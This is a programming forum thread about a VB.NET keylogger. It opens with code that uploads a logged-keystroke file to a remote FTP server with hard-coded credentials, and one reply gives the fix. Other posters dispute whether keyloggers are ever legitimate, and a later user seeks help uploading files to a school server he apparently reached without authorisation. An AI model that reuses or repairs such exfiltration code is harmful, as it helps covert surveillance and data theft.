Results 1 to 25 of 25

Thread: Keylogger Problem

  1. #1

    Thread Starter
    Junior Member
    Join Date
    May 2008
    Posts
    16

    Keylogger Problem

    (I did not write this code. . . Doing it for a friend )

    I made this keylogger, and this one line of code acts up whenever I start and test the program!

    Code:
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
            If System.IO.File.Exists("C:\WINDOWS\RedSkeleton.txt") Then
                My.Computer.Network.UploadFile("C:\WINDOWS\RedSkeleton.txt", "FTP://192.168.0.6:6089", "RedSkeleton", "keylogger")
            End If
        End Sub
    The whole thing gets hi-lited yellow! Pleas help!

  2. #2
    New Member
    Join Date
    Oct 2008
    Posts
    8

    Re: Keylogger Problem

    thx blade for posting for me cuase i was to lazzy to =X
    but the error code is:

    System.InvalidOperationException was unhandled
    Message="The address for UploadFile needs to include a file name."
    Source="Microsoft.VisualBasic"
    StackTrace:
    at Microsoft.VisualBasic.Devices.Network.UploadFile(String sourceFileName, String address, String userName, String password, Boolean showUI, Int32 connectionTimeout, UICancelOption onUserCancel)
    at Microsoft.VisualBasic.Dev

    and it goes with the line of code above..

  3. #3

  4. #4
    Super Moderator jmcilhinney's Avatar
    Join Date
    May 2005
    Location
    Sydney, Australia
    Posts
    111,221

    Re: Keylogger Problem

    I would think that the error message would speak for itself.
    The address for UploadFile needs to include a file name.
    Yours obviously doesn't.
    Code:
    "FTP://192.168.0.6:6089"
    Why is my data not saved to my database? | MSDN Data Walkthroughs
    VBForums Database Development FAQ
    My CodeBank Submissions: VB | C#
    My Blog: Data Among Multiple Forms (3 parts)
    Beginner Tutorials: VB | C# | SQL

  5. #5
    Addicted Member
    Join Date
    Sep 2008
    Posts
    149

    Re: Keylogger Problem

    I have the same problem...
    What should I add?

  6. #6
    Stack Overflow mod​erator
    Join Date
    May 2008
    Location
    British Columbia, Canada
    Posts
    2,824

    Re: Keylogger Problem

    Obviously, the filename!
    Instead of ftp://whatever/, put ftp://whatever/myfilename.txt.

    Is this an evil key logger or a good one?

  7. #7
    Wait... what? weirddemon's Avatar
    Join Date
    Jan 2009
    Location
    USA
    Posts
    3,826

    Re: Keylogger Problem

    Quote Originally Posted by minitech View Post
    Obviously, the filename!
    Instead of ftp://whatever/, put ftp://whatever/myfilename.txt.

    Is this an evil key logger or a good one?
    There is no such thing as a good key logger. The very definition of a key logger is built on malicious purposes. Even if the OP has fooled himself into believing that his actions are just, they never are
    CodeBank contributions: Process Manager, Temp File Cleaner

    Quote Originally Posted by SJWhiteley
    "game trainer" is the same as calling the act of robbing a bank "wealth redistribution"....

  8. #8
    Stack Overflow mod​erator
    Join Date
    May 2008
    Location
    British Columbia, Canada
    Posts
    2,824

    Re: Keylogger Problem

    Parental control, for auto-logout when filtered text is typed.

  9. #9
    Hyperactive Member Philly0494's Avatar
    Join Date
    Apr 2008
    Posts
    485

    Re: Keylogger Problem

    Quote Originally Posted by weirddemon View Post
    There is no such thing as a good key logger. The very definition of a key logger is built on malicious purposes. Even if the OP has fooled himself into believing that his actions are just, they never are
    My employees know they are being monitored and keylogged when they use company computers.

    Also i know plenty of parents who monitor what their children do on the computer through a keylogger.

    How are these bad keyloggers? You may have just offended many people my friend.

  10. #10
    Wait... what? weirddemon's Avatar
    Join Date
    Jan 2009
    Location
    USA
    Posts
    3,826

    Re: Keylogger Problem

    Quote Originally Posted by Philly0494 View Post
    My employees know they are being monitored and keylogged when they use company computers.

    Also i know plenty of parents who monitor what their children do on the computer through a keylogger.

    How are these bad keyloggers? You may have just offended many people my friend.
    Like I mentioned, regardless of the justification people give themselves, Key Loggers are bad.
    CodeBank contributions: Process Manager, Temp File Cleaner

    Quote Originally Posted by SJWhiteley
    "game trainer" is the same as calling the act of robbing a bank "wealth redistribution"....

  11. #11
    PowerPoster 2.0 Negative0's Avatar
    Join Date
    Jun 2000
    Location
    Southeastern MI
    Posts
    4,367

    Re: Keylogger Problem

    Quote Originally Posted by Philly0494 View Post
    My employees know they are being monitored and keylogged when they use company computers.

    Also i know plenty of parents who monitor what their children do on the computer through a keylogger.

    How are these bad keyloggers? You may have just offended many people my friend.
    It doesn't matter if there are useful purposes for keyloggers, it is against the forum's AUP to help someone write one, so odds are this thread will be locked as soon as a moderator sees it.

  12. #12
    Stack Overflow mod​erator
    Join Date
    May 2008
    Location
    British Columbia, Canada
    Posts
    2,824

    Re: Keylogger Problem

    Really? Sorry.

  13. #13
    Addicted Member
    Join Date
    Sep 2008
    Posts
    149

    Re: Keylogger Problem

    This is not for keylogger. I want to copy some files from usb and if internet connection is available upload through ftp, if isn't save to location in computer. (for school purposes )

    Now i have another problem :S .
    I got this error:
    Code:
    The remote server returned an error: (550) File unavailable (e.g., file not found, no access).
    I set connection timeout on 5000, but i still get this error.
    Last edited by Blagojce; Dec 20th, 2009 at 07:01 PM.

  14. #14
    PowerPoster techgnome's Avatar
    Join Date
    May 2002
    Posts
    34,687

    Re: Keylogger Problem

    if that's the case, you shouldn't have hijacked a thread about kepy loggers that is OVER ONE YEAR OLD....

    -tg
    * I don't respond to private (PM) requests for help. It's not conducive to the general learning of others.*
    * I also don't respond to friend requests. Save a few bits and don't bother. I'll just end up rejecting anyways.*
    * How to get EFFECTIVE help: The Hitchhiker's Guide to Getting Help at VBF - Removing eels from your hovercraft *
    * How to Use Parameters * Create Disconnected ADO Recordset Clones * Set your VB6 ActiveX Compatibility * Get rid of those pesky VB Line Numbers * I swear I saved my data, where'd it run off to??? *

  15. #15
    Wait... what? weirddemon's Avatar
    Join Date
    Jan 2009
    Location
    USA
    Posts
    3,826

    Re: Keylogger Problem

    That's awesome. I hadn't even realized he hijacked the thread. I guess that's what I get for now looking at everything
    CodeBank contributions: Process Manager, Temp File Cleaner

    Quote Originally Posted by SJWhiteley
    "game trainer" is the same as calling the act of robbing a bank "wealth redistribution"....

  16. #16
    Frenzied Member Pc_Not_Mac's Avatar
    Join Date
    Oct 2009
    Location
    localhost
    Posts
    1,206

    Re: Keylogger Problem

    I agree with on post #4 jmcilhinney.
    Why would you even want to make a keylogger for?
    My Codebank:
    Windows Vista & 7 Glass Effect & Limit the amount of times your application could be opened.
    Pause Your Code & Check the OS name

    The question of whether computers can think is like the question of whether submarines can swim.

    Currently learning: Java

    Coding can be a learning experience or

  17. #17
    I'm about to be a PowerPoster! Hack's Avatar
    Join Date
    Aug 2001
    Location
    Searching for mendhak
    Posts
    58,333

    Re: Keylogger Problem

    Quote Originally Posted by Philly0494 View Post
    How are these bad keyloggers? You may have just offended many people my friend.
    I would hope this is not true. Anyone so thin skinned is going to have a bit of rough time in this life.

    @Blagojce:

    1. If this isn't a keylogger, then as techgnome asks, why did you post in a year old thread about keylogging?

    2. Does your account have the necessary access rights to the remote server that would allow you to perform the task? If not, and this is for a legitimate school function then you really don't need help from us. Take it up with the IT people at your school.

  18. #18
    Addicted Member
    Join Date
    Sep 2008
    Posts
    149

    Re: Keylogger Problem

    @Hack
    1. I posted here because i have the same problem.
    2. Yes, i have full access rights to remote server because i found the host. IT people in our school don't understand programming.

  19. #19
    Addicted Member
    Join Date
    Sep 2008
    Posts
    149

    Re: Keylogger Problem

    BUMP.
    Now I got this message:
    Code:
    The remote server returned an error: (500) Syntax error, command unrecognized.
    at the GetRequestStream() function.

  20. #20
    Frenzied Member MaximilianMayrhofer's Avatar
    Join Date
    Aug 2007
    Location
    IM IN YR LOOP
    Posts
    2,001

    Re: Keylogger Problem

    2. Yes, i have full access rights to remote server because i found the host. IT people in our school don't understand programming.
    I have full access rights to my neighbours house because I found his spare key. He doesn't understand security.

  21. #21
    Stack Overflow mod​erator
    Join Date
    May 2008
    Location
    British Columbia, Canada
    Posts
    2,824

    Re: Keylogger Problem

    I think "IT People in our school don't understand programming" is in response to "Take it up with the IT people at your school".

  22. #22
    Powered By Medtronic dbasnett's Avatar
    Join Date
    Dec 2007
    Location
    Jefferson City, MO
    Posts
    9,897

    Re: Keylogger Problem

    Quote Originally Posted by Blagojce View Post
    This is not for keylogger. I want to copy some files from usb and if internet connection is available upload through ftp, if isn't save to location in computer. (for school purposes )

    Now i have another problem :S .
    I got this error:
    Code:
    The remote server returned an error: (550) File unavailable (e.g., file not found, no access).
    I set connection timeout on 5000, but i still get this error.

    And what piece of code caused this error?
    My First Computer -- Documentation Link (RT?M) -- Using the Debugger -- Prime Number Sieve
    Counting Bits -- Subnet Calculator -- UI Guidelines -- >> SerialPort Answer <<

    "Those who use Application.DoEvents have no idea what it does and those who know what it does never use it." John Wein

  23. #23
    PowerPoster techgnome's Avatar
    Join Date
    May 2002
    Posts
    34,687

    Re: Keylogger Problem

    Seriously, I think this REALLY needs to be moved to its own thread... rather than continuing to hijack the thread. Especially since you claim the problem has nothing to do with the original posting.

    -tg
    * I don't respond to private (PM) requests for help. It's not conducive to the general learning of others.*
    * I also don't respond to friend requests. Save a few bits and don't bother. I'll just end up rejecting anyways.*
    * How to get EFFECTIVE help: The Hitchhiker's Guide to Getting Help at VBF - Removing eels from your hovercraft *
    * How to Use Parameters * Create Disconnected ADO Recordset Clones * Set your VB6 ActiveX Compatibility * Get rid of those pesky VB Line Numbers * I swear I saved my data, where'd it run off to??? *

  24. #24
    Addicted Member
    Join Date
    Sep 2008
    Posts
    149

    Re: Keylogger Problem

    What i should to enclose like proof rights over host?

    @dbasnett
    I solved that problem.
    Now I got error on post #19.

  25. #25
    Powered By Medtronic dbasnett's Avatar
    Join Date
    Dec 2007
    Location
    Jefferson City, MO
    Posts
    9,897

    Re: Keylogger Problem

    Quote Originally Posted by Blagojce View Post
    BUMP.
    Now I got this message:
    Code:
    The remote server returned an error: (500) Syntax error, command unrecognized.
    at the GetRequestStream() function.
    Post the code that causes this error, and I agree that you should start a new thread.
    My First Computer -- Documentation Link (RT?M) -- Using the Debugger -- Prime Number Sieve
    Counting Bits -- Subnet Calculator -- UI Guidelines -- >> SerialPort Answer <<

    "Those who use Application.DoEvents have no idea what it does and those who know what it does never use it." John Wein

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width